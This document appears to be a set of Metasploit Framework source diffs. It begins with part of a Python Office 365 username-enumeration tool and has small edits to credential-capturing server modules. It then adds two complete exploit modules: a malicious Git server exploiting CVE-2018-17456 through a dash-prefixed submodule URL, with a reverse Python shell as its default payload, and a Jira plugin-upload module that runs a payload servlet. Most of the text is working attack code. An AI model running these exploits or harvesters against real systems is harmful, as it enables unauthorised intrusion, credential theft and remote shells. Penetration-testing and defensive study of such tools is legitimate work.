if MSF:
module.log(msg, "debug")
else:
logging.debug(msg)
continue
if user == DIE:
in_q.task_done()
msg = "check_users thread dying"
if MSF:
module.log(msg, "debug")
else:
logging.debug(msg)
break
else:
msg = "checking: {}".format(user)
if MSF:
module.log(msg, "debug")
else:
logging.debug(msg)
try:
result = check_user(url, user, password, timeout)
except Exception as e:
msg = "Error checking {} : {}".format(user, e)
if MSF:
module.log(msg, "error")
else:
logging.error(msg)
in_q.task_done()
continue
msg = "{}".format(result)
if MSF:
module.log(msg, "debug")
else:
logging.debug(msg)
out_q.put(result)
in_q.task_done()
def get_users(user_file, in_q, max_threads):
"""Thread worker function. Load candidate usernames from file into input queue."""
with open(user_file, "r") as f:
for line in f:
if SHUTDOWN_EVENT.is_set():
break
user = line.strip()
msg = "user = {}".format(user)
if MSF:
module.log(msg, "debug")
else:
logging.debug(msg)
in_q.put(user)
for _ in range(max_threads):
in_q.put(DIE)
def report(out_q, output_file):
"""Thread worker function. Output to terminal and file."""
msf_template = "{code} {valid} {user}:{password}"
template = "[{s}] {code} {valid} {user}:{password}"
symbols = {
VALID_USER: "+",
INVALID_USER: "-",
VALID_PASSWD_2FA: "#",
VALID_LOGIN: "!",
UNKNOWN: "?"
}
while not SHUTDOWN_EVENT.is_set():
try:
result = out_q.get()
except queue.Empty as e:
msg = "report: out_q empty"
if MSF:
module.log(msg, "debug")
else:
logging.debug(msg)
continue
if result == DIE:
out_q.task_done()
msg = "report thread dying."
if MSF:
module.log(msg, "debug")
else:
logging.debug(msg)
break
else:
user, password, valid, r = result
if r is None:
code = "???"
else:
code = r.status_code
s = symbols.get(valid)
output = template.format(s=s, code=code, valid=valid, user=user, password=password)
if MSF:
msf_output = msf_template.format(code=code, valid=valid, user=user, password=password)
msf_reporters = {
VALID_USER: module.report_wrong_password,
VALID_PASSWD_2FA: module.report_correct_password,
VALID_LOGIN: module.report_correct_password
}
module.log(msf_output, "debug")
msf_reporter = msf_reporters.get(valid)
if msf_reporter is not None:
msf_reporter(user, password)
if valid in [VALID_LOGIN, VALID_PASSWD_2FA, VALID_USER]:
module.log(msf_output, "good")
else:
module.log(msf_output, "error")
else:
logging.info(output)
if output_file:
with open(output_file, "a", 1) as f:
f.write("{}\n".format(output))
out_q.task_done()
def run(args):
"""Metasploit callback.
Convert args to lowercase for internal compatibility."""
if dependencies_missing:
module.log("Module dependency (requests) is missing, cannot continue")
return
args['TIMEOUT'] = float(args['TIMEOUT'])
args['THREADS'] = int(args['THREADS'])
lower_args = {}
for arg in args:
lower_args[arg.lower()] = args[arg]
main(lower_args)
def get_banner():
"""Return version banner."""
return """
. .1111... | Title: office365userenum.py
.10000000000011. .. | Author: Oliver Morton (Sec-1 Ltd)
.00 000... | Email: oliverm@sec-1.com
1 01.. | Description:
.. | Enumerate valid usernames from Office 365 using
.. | ActiveSync.
GrimHacker .. | Requires: Python 2.7 or 3.6, python-requests
.. |
grimhacker.com .. |
@grimhacker .. |
----------------------------------------------------------------------------
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions. See GPLv2 License.
----------------------------------------------------------------------------
""".format(__version__)
def setup_logging(verbose=True, log_file=None):
"""Configure logging."""
if log_file is not None:
logging.basicConfig(level=logging.DEBUG,
format="%(asctime)s: %(levelname)s: %(module)s: %(message)s",
filename=log_file,
filemode='w')
console_handler = logging.StreamHandler()
formatter = logging.Formatter("%(levelname)s: %(module)s: %(message)s")
console_handler.setFormatter(formatter)
if verbose:
console_handler.setLevel(logging.DEBUG)
else:
console_handler.setLevel(logging.INFO)
logging.getLogger().addHandler(console_handler)
else:
if verbose:
level = logging.DEBUG
else:
level = logging.INFO
logging.basicConfig(level=level,
format="%(levelname)s: %(module)s: %(message)s")
def main(args):
"""Setup worker threads and handle shutdown."""
user_file = args['users']
output_file = args['output']
url = args['url']
password = args['password']
max_threads = args['threads']
timeout = args['timeout']
threads = []
meta_threads = []
max_size = max_threads / 2
if max_size < 1:
max_size = 1
in_q = queue.Queue(maxsize=max_size)
out_q = queue.Queue(maxsize=max_size)
try:
report_thread = threading.Thread(name="Thread-report", target=report, args=(out_q, output_file))
report_thread.start()
meta_threads.append(report_thread)
file_thread = threading.Thread(name="Thread-inputfile", target=get_users, args=(user_file, in_q, max_threads))
file_thread.start()
meta_threads.append(file_thread)
for num in range(max_threads):
t = threading.Thread(name="Thread-worker{}".format(num), target=check_users,
args=(in_q, out_q, url, password, timeout))
t.start()
threads.append(t)
for thread in threads:
while thread.is_alive():
thread.join(timeout=0.1)
out_q.put(DIE)
for thread in meta_threads:
while thread.is_alive():
thread.join(timeout=0.1)
except KeyboardInterrupt as e:
msg = "Received KeyboardInterrupt - shutting down"
if MSF:
module.log(msg, "critical")
else:
logging.critical(msg)
SHUTDOWN_EVENT.set()
for thread in threads:
while thread.is_alive():
thread.join(timeout=0.1)
out_q.put(DIE)
for thread in meta_threads:
while thread.is_alive():
thread.join(timeout=0.1)
if __name__ == "__main__":
if MSF:
module.log(get_banner(), "info")
module.run(metadata, run)
else:
print(get_banner())
parser = argparse.ArgumentParser(description="Enumerate Usernames (email addresses) from Office365 ActiveSync")
parser.add_argument("-u", "--users", help="Potential usernames file, one username per line", required=True)
parser.add_argument("-o", "--output", help="Output file (will be appended to)", required=True)
parser.add_argument("--password", default=default_password,
help="Password to use during enumeration. Default: {}".format(default_password))
parser.add_argument("--url", help="ActiveSync URL. Default: {}".format(default_url), default=default_url)
parser.add_argument("--threads", help="Maximum threads. Default: {}".format(default_max_threads),
default=default_max_threads, type=int)
parser.add_argument("--timeout", help="HTTP Timeout. Default: {}".format(default_timeout),
default=default_timeout, type=float)
parser.add_argument("-v", "--verbose", help="Debug logging", action="store_true")
parser.add_argument("--logfile", help="Log File", default=None)
args = parser.parse_args()
setup_logging(args.verbose, args.logfile)
main(vars(args))

View File

@ -85,13 +85,13 @@ class MetasploitModule < Msf::Auxiliary
bogus_result = @scanner.attempt_bogus_login(domain)
if bogus_result.success?
if bogus_result.access_level == Metasploit::Framework::LoginScanner::SMB::AccessLevels::GUEST
print_status("This system allows guest sessions with any credentials")
print_status("This system allows guest sessions with random credentials")
else
print_error("This system accepts authentication with any credentials, brute force is ineffective.")
print_error("This system accepts authentication with random credentials, brute force is ineffective.")
return
end
else
vprint_status('This system does not accept authentication with any credentials, proceeding with brute force')
vprint_status('This system does not accept authentication with random credentials, proceeding with brute force')
end
end

View File

@ -94,7 +94,7 @@ class MetasploitModule < Msf::Auxiliary
proof: req['Authorization']
)
print_good("#{cli.peerhost} - Credential collected: \"#{user}:#{pass}\" => #{req.resource}")
print_good("HTTP Basic Auth LOGIN #{cli.peerhost} \"#{user}:#{pass}\" / #{req.resource}")
if datastore['RedirectURL']
print_status("Redirecting client #{cli.peerhost} to #{datastore['RedirectURL']}")
send_redirect(cli, datastore['RedirectURL'])

View File

@ -29,7 +29,8 @@ class MetasploitModule < Msf::Auxiliary
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 143 ])
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 143 ]),
OptString.new('BANNER', [ true, "The server banner", 'IMAP4'])
])
end
@ -44,7 +45,7 @@ class MetasploitModule < Msf::Auxiliary
def on_client_connect(c)
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil}
c.put "* OK IMAP4\r\n"
c.put "* OK #{datastore['BANNER']}\r\n"
end
def on_client_data(c)
@ -76,7 +77,7 @@ class MetasploitModule < Msf::Auxiliary
@state[c][:user], @state[c][:pass] = arg.split(/\s+/, 2)
register_creds(@state[c][:ip], @state[c][:user], @state[c][:pass], 'imap')
print_status("IMAP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
print_good("IMAP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
return
end

View File

@ -58,7 +58,7 @@ class MetasploitModule < Msf::Auxiliary
end
def mysql_send_greeting(c)
# http://forge.mysql.com/wiki/MySQL_Internals_ClientServer_Protocol#Handshake_Initialization_Packet
# https://dev.mysql.com/doc/internals/en/connection-phase-packets.html
length = 68 + @version.length
packetno = 0
@ -138,7 +138,7 @@ class MetasploitModule < Msf::Auxiliary
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
private_type: :nonreplayable_hash
}.merge(service_data)
login_data = {
@ -172,7 +172,7 @@ class MetasploitModule < Msf::Auxiliary
port: datastore['SRVPORT'],
service_name: 'mysql_client',
user: info[:username],
pass: hash_line,
password: hash_line,
proof: info[:database] ? info[:database] : hash_line
)

View File

@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Git
include Msf::Exploit::Powershell
def initialize(info = {})
@ -181,23 +182,12 @@ class MetasploitModule < Msf::Exploit::Remote
git_dir = '.' + variants.sample
sha1, content = build_object('tree', "40000 #{git_dir}\0#{[sha1].pack('H*')}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
# build the supposed commit that dropped this file, which has a random user/company
email = Rex::Text.rand_mail_address
first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten
full_name = "#{first.capitalize} #{last.capitalize}"
tstamp = Time.now.to_i
author_time = rand(tstamp)
commit_time = rand(author_time)
tz_off = rand(10)
commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \
"committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \
"\n" \
"Initial commit to open git repository for #{company}!\n"
if datastore['VERBOSE']
vprint_status("Malicious Git commit of #{git_dir}/#{datastore['GIT_HOOK']} is:")
commit.each_line { |l| vprint_status(l.strip) }
end
sha1, content = build_object('commit', "tree #{sha1}\n#{commit}")
sha1, content = build_object('commit', "tree #{sha1}\n#{fake_commit_message}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
# build HEAD
@repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
@ -229,19 +219,6 @@ class MetasploitModule < Msf::Exploit::Remote
# TODO: finish building the fake repository
end
# Build's a Git object
def build_object(type, content)
# taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html
header = "#{type} #{content.size}\0"
store = header + content
[Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
end
# Returns the Git object path name that a file with the provided SHA1 will reside in
def get_path(sha1)
sha1[0...2] + '/' + sha1[2..40]
end
def exploit
super
end

View File

@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Git
def initialize(info = {})
super(
@ -97,38 +98,12 @@ url = ssh://-oProxyCommand=#{payload_cmd}/
sha1, content = build_object('tree', tree)
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
## build the supposed commit that dropped this file, which has a random user/company
email = Rex::Text.rand_mail_address
first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten
full_name = "#{first.capitalize} #{last.capitalize}"
tstamp = Time.now.to_i
author_time = rand(tstamp)
commit_time = rand(author_time)
tz_off = rand(10)
commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \
"committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \
"\n" \
"Initial commit to open git repository for #{company}!\n"
sha1, content = build_object('commit', "tree #{sha1}\n#{commit}")
sha1, content = build_object('commit', "tree #{sha1}\n#{fake_commit_message}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
@repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
@repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"
end
# Build's a Git object
def build_object(type, content)
# taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html
header = "#{type} #{content.size}\0"
store = header + content
[Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
end
# Returns the Git object path name that a file with the provided SHA1 will reside in
def get_path(sha1)
sha1[0...2] + '/' + sha1[2..40]
end
def exploit
super
end

View File

@ -0,0 +1,136 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Git
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Malicious Git HTTP Server For CVE-2018-17456',
'Description' => %q(
This module exploits CVE-2018-17456, which affects Git
versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower.
When a submodule url which starts with a dash e.g "-u./payload" is passed
as an argument to git clone, the file "payload" inside the repository
is executed.
This module creates a fake git repository which contains a submodule
containing the vulnerability. The vulnerability is triggered when the
submodules are initialised (e.g git clone --recurse-submodules URL)
),
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2018-17456'],
['URL', 'https://marc.info/?l=git&m=153875888916397&w=2' ],
['URL', 'https://gist.github.com/joernchen/38dd6400199a542bc9660ea563dcf2b6' ],
['URL', 'https://blog.github.com/2018-10-05-git-submodule-vulnerability' ],
],
'DisclosureDate' => 'Oct 05 2018',
'Targets' => [
['Automatic',
{
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' => {'Compat' => {'PayloadType' => 'python'}}
}
]
],
'DefaultOptions' => {'Payload' => 'cmd/unix/reverse_python'},
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
OptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', ''])
]
)
end
def setup
@repo_data = {
git: { files: {} }
}
setup_git
super
end
def setup_git
# URI must start with a /
unless git_uri && git_uri.start_with?('/')
fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
end
payload_content = "#!/bin/sh\n#{payload.raw} &"
payload_file = Rex::Text.rand_text_alpha(4..6)
submodule_path = datastore['GIT_SUBMODULE']
if submodule_path.blank?
submodule_path = Rex::Text.rand_text_alpha(2..6).downcase + ":" + Rex::Text.rand_text_alpha(2..6).downcase
end
unless submodule_path.include?":"
fail_with(Failure::BadConfig, 'GIT_SUBMODULE must contain a :')
end
gitmodules = "[submodule \"#{submodule_path}\"]
path = #{submodule_path}
url = -u./#{payload_file}
"
sha1, content = build_object('blob', gitmodules)
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
payloadsha1, content = build_object('blob', payload_content)
@repo_data[:git][:files]["/objects/#{get_path(payloadsha1)}"] = content
tree = "100644 .gitmodules\0#{[sha1].pack('H*')}"
tree += "100744 #{payload_file}\0#{[payloadsha1].pack('H*')}"
tree += "160000 #{submodule_path}\0#{[sha1].pack('H*')}"
sha1, content = build_object('tree', tree)
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
sha1, content = build_object('commit', "tree #{sha1}\n#{fake_commit_message}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
@repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
@repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"
end
def primer
# add the git and mercurial URIs as necessary
hardcoded_uripath(git_uri)
git_url = URI.parse(get_uri).merge(git_uri)
print_status("Malicious Git URI is #{git_url}")
print_status("git clone --recurse-submodules #{git_url}")
end
# handles git clone
def on_request_uri(cli, req)
req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')
if @repo_data[:git][:files].key?(req_file)
vprint_status("Sending Git #{req_file}")
send_response(cli, @repo_data[:git][:files][req_file])
else
vprint_status("Git #{req_file} doesn't exist")
send_not_found(cli)
end
end
# Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
def git_uri
return @git_uri if @git_uri
if datastore['GIT_URI'].blank?
@git_uri = '/' + Rex::Text.rand_text_alpha(4..6).downcase + '.git'
else
@git_uri = datastore['GIT_URI']
end
end
end

View File

@ -0,0 +1,233 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Atlassian Jira Authenticated Upload Code Execution',
'Description' => %q{
This module can be used to execute a payload on Atlassian Jira via
the Universal Plugin Manager(UPM). The module requires valid login
credentials to an account that has access to the plugin manager.
The payload is uploaded as a JAR archive containing a servlet using
a POST request against the UPM component. The check command will
test the validity of user supplied credentials and test for access
to the plugin manager.
},
'Author' => 'Alexander Gonzalez(dubfr33)',
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/'],
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/'],
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/']
],
'Platform' => %w[java],
'Targets' =>
[
['Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
}
]
],
'DisclosureDate' => 'Feb 22 2018'))
register_options(
[
Opt::RPORT(2990),
OptString.new('HttpUsername', [true, 'The username to authenticate as', 'admin']),
OptString.new('HttpPassword', [true, 'The password for the specified username', 'admin']),
OptString.new('TARGETURI', [true, 'The base URI to Jira', '/jira/'])
])
end
def check
login_res = query_login
if login_res.nil?
vprint_error('Unable to access the web application!')
return CheckCode::Unknown
end
return CheckCode::Unknown unless login_res.code == 200
@session_id = get_sid(login_res)
@xsrf_token = login_res.get_html_document.at('meta[@id="atlassian-token"]')['content']
auth_res = do_auth
good_sid = get_sid(auth_res)
good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
res = query_upm(good_cookie)
if res.nil?
vprint_error('Unable to access the web application!')
return CheckCode::Unknown
elsif res.code == 200
return Exploit::CheckCode::Appears
else
vprint_status('Something went wrong, make sure host is up and options are correct!')
vprint_status("HTTP Response Code: #{res.code}")
return Exploit::CheckCode::Unknown
end
end
def exploit
unless access_login?
fail_with(Failure::Unknown, 'Unable to access the web application!')
end
print_status('Retrieving Session ID and XSRF token...')
auth_res = do_auth
good_sid = get_sid(auth_res)
good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
res = query_for_upm_token(good_cookie)
if res.nil?
fail_with(Failure::Unknown, 'Unable to retrieve UPM token!')
end
upm_token = res.headers['upm-token']
upload_exec(upm_token, good_cookie)
end
# Upload, execute, and remove servlet
def upload_exec(upm_token, good_cookie)
contents = ''
name = Rex::Text.rand_text_alpha(8..12)
atlassian_plugin_xml = %Q{
<atlassian-plugin name="#{name}" key="#{name}" plugins-version="2">
<plugin-info>
<description></description>
<version>1.0</version>
<vendor name="" url="" />
<param name="post.install.url">/plugins/servlet/metasploit/PayloadServlet</param>
<param name="post.upgrade.url">/plugins/servlet/metasploit/PayloadServlet</param>
</plugin-info>
<servlet name="#{name}" key="metasploit.PayloadServlet" class="metasploit.PayloadServlet">
<description>"#{name}"</description>
<url-pattern>/metasploit/PayloadServlet</url-pattern>
</servlet>
</atlassian-plugin>
}
# Generates .jar file for upload
zip = payload.encoded_jar
zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml)
servlet = MetasploitPayloads.read('java', '/metasploit', 'PayloadServlet.class')
zip.add_file('/metasploit/PayloadServlet.class', servlet)
contents = zip.pack
boundary = rand_text_numeric(27)
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"plugin\"; "
data << "filename=\"#{name}.jar\"\r\nContent-Type: application/x-java-archive\r\n\r\n"
data << contents
data << "\r\n--#{boundary}--"
print_status("Attempting to upload #{name}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rest/plugins/1.0/'),
'vars_get' =>
{
'token' => "#{upm_token}"
},
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
'Cookie' => good_cookie.to_s
}
}, 25)
unless res && res.code == 202
print_status("Error uploading #{name}")
print_status("HTTP Response Code: #{res.code}")
print_status("Server Response: #{res.body}")
return
end
print_status("Successfully uploaded #{name}")
print_status("Executing #{name}")
Rex::ThreadSafe.sleep(3)
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'plugins/servlet/metasploit/PayloadServlet'),
'method' => 'GET',
'cookie' => good_cookie.to_s
})
print_status("Deleting #{name}")
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, "rest/plugins/1.0/#{name}-key"),
'method' => 'DELETE',
'cookie' => good_cookie.to_s
})
end
def access_login?
res = query_login
if res.nil?
fail_with(Failure::Unknown, 'Unable to access the web application!')
end
return false unless res && res.code == 200
@session_id = get_sid(res)
@xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')['content']
return true
end
# Sends GET request to login page so the HTTP response can be used
def query_login
send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'))
end
# Queries plugin manager to verify access
def query_upm(good_cookie)
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'plugins/servlet/upm'),
'method' => 'GET',
'cookie' => good_cookie.to_s
})
end
# Queries API for response containing upm_token
def query_for_upm_token(good_cookie)
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'rest/plugins/1.0/'),
'method' => 'GET',
'cookie' => good_cookie.to_s
})
end
# Authenticates to webapp with user supplied credentials
def do_auth
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'),
'method' => 'POST',
'cookie' => "atlassian.xsrf.token=#{@xsrf_token}; #{@session_id}",
'vars_post' => {
'os_username' => datastore['HttpUsername'],
'os_password' => datastore['HttpPassword'],
'os_destination' => '',
'user_role' => '',
'atl_token' => '',
'login' => 'Log+In'
}
})
end
# Finds SID from HTTP response headers
def get_sid(res)
if res.nil?
return '' if res.blank?
end
res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
end
end